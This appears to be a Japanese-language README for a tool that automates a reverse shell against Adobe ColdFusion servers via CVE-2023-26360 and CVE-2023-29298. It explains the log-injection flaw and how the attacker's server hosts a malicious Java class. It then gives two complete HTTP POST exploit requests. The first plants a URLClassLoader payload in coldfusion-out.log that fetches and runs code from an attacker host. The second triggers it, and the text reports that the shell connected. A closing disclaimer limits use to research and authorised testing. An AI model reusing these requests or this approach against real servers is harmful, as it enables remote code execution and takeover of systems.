
Adobe ColdFusion CVE-2023-26360/CVE-2023-29298 自動化リバースシェル
CVE-2023-29298/CVE-2023-26360 脆弱性を利用したリバースシェルツール
脆弱性の原理は、CFMLデータクライアントリクエストを構築すると、そのデータがサーバーのcoldfusion-out.logに保存されることです。このディレクトリにはリクエストのエラー情報が記録され、coldfusion-out.logファイルには書き込んだコードが含まれます。その後、classnameを使用してこのログファイルを読み取り実行することで、コード実行を達成します。
ここで一つのアイデアがあります。悪意のあるクラスをサーバーに配置し、ダウンロードしてそのクラスファイルを呼び出し実行します。上記の脆弱性を利用すると、動的にクラスをロードし、私たちのクラスファイルを呼び出して実行します。
これにより、圧縮パッケージを生成するスクリプトを作成します。その圧縮パッケージ内の構成は以下の通りです。
圧縮パッケージ code ディレクトリ下
utilize
├── address
└── Poc.class
Poc.java には主にリバースシェルのコードが格納されます。
address にはアドレスとポートが格納されます。
上記の機能を実装するのは非常に難しいため、自動生成ツールを作成しました。Javaのバイトコードファイルを構築し、リバースシェルのIPとポートを設定し、Webを起動します。
ツール名 -host リバースIP指定 -port リバースポート指定 -p HTTPポート指定(デフォルト8888)

確認してみます。

次に、ログにエラーコードを書き込むリクエストを送信します。以下のPOSTデータ部分のhttp://192.168.191.58:8888/GjfZgoを、起動しているサービスのアドレスに変更してください。
POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 816
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
_variables=%7b%3ccftry%3e%3ccfset%20szlh%20%3d%20createObject%28%27java%27%2c%27java.net.URL%27%29.init%28%27http://192.168.191.58:8888/GjfZgo%27%29/%3e%3ccfset%20cafb%20%3d%20createObject%28%27java%27%2c%27java.lang.reflect.Array%27%29/%3e%3ccfset%20ireh%20%3d%20cafb.newInstance%28szlh.getClass%28%29%2c1%29/%3e%3ccfset%20cafb.set%28ireh%2c0%2cszlh%29/%3e%3ccfset%20fxlt%20%3d%20createObject%28%27java%27%2c%27java.net.URLClassLoader%27%29.init%28ireh%2cjavaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfset%20fxlt.loadClass%28%27code.Payload%27%29.newInstance%28%29.main%28javaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfcatch%20type%3d%27any%27%3e%3c/cfcatch%3e%3ccffinally%3e%3ccffile%20action%3d%27write%27%20file%3d%27%23GetCurrentTemplatePath%28%29%23%27%20output%3d%27%27%3e%3c/cffile%3e%3c/cffinally%3e%3c/cftry%3e
その後、ログ内のコードを実行します。固定でハードコードされているため、そのまま送信します。
POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 85
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
_variables={"_metadata":{"classname":"l/../logs/coldfusion-out.log"},"_variables":[]}
実行して確認すると、接続が確立されました。

本セキュリティツールは、技術研究および教育目的のみで提供されます。使用する際は、適用される法律や倫理規定を遵守してください。
本ツールはセキュリティ脆弱性のテストや侵入テストを含む場合がありますが、許可された範囲内でのみ使用してください。それ以外の使用による責任は作者は負いません。
本ツールの使用には一定のリスクと不確実性が伴う可能性があります。ユーザーは自己責任で使用するものとします。
本ツールを使用するユーザーは、すべてのリスクと責任を負うものとします。開発者は、ユーザーが本ツールを使用した結果生じたいかなる損害についても責任を負いません。